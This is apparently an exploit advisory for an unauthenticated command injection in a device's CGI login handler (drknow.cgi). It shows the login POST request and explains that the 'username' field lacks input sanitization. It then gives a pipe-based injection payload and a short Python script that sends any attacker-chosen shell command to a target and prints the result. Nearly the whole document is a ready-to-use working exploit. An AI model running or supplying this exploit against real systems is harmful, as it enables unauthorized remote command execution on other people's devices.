Details:
========

First we need to know what happens when we need to LogIn.
When the User or Attacker insert any strings in the login form he/she will get this POST request: 

POST /cgi-bin/drknow.cgi?req=login HTTP/1.1 
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://server/log-in.html?lang=KOR
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Upgrade-Insecure-Requests: 1

req=login&lang=KOR&username=admin&password=admin

 
Ok now we have this POST request and all we care about is the ‘username’ parameter . and we
can execute our system commands via this parameter due to missing input sanitization.
The payload will be: 'admin|'command'||x we will change the command by any *unix command (ls – id – mkdir ….)

import requests
target = raw_input('Target(With proto) : ')
command = raw_input('Command To Execute : ')
fullpath=target +"/cgi-bin/drknow.cgi?req=login"
data = {'req':'login',
        'lang':'ENG',
        'username':'admin|'+command+'||x',
        'password':'admin'}
 
execute = requests.post(fullpath, data = data)
 
print execute.text
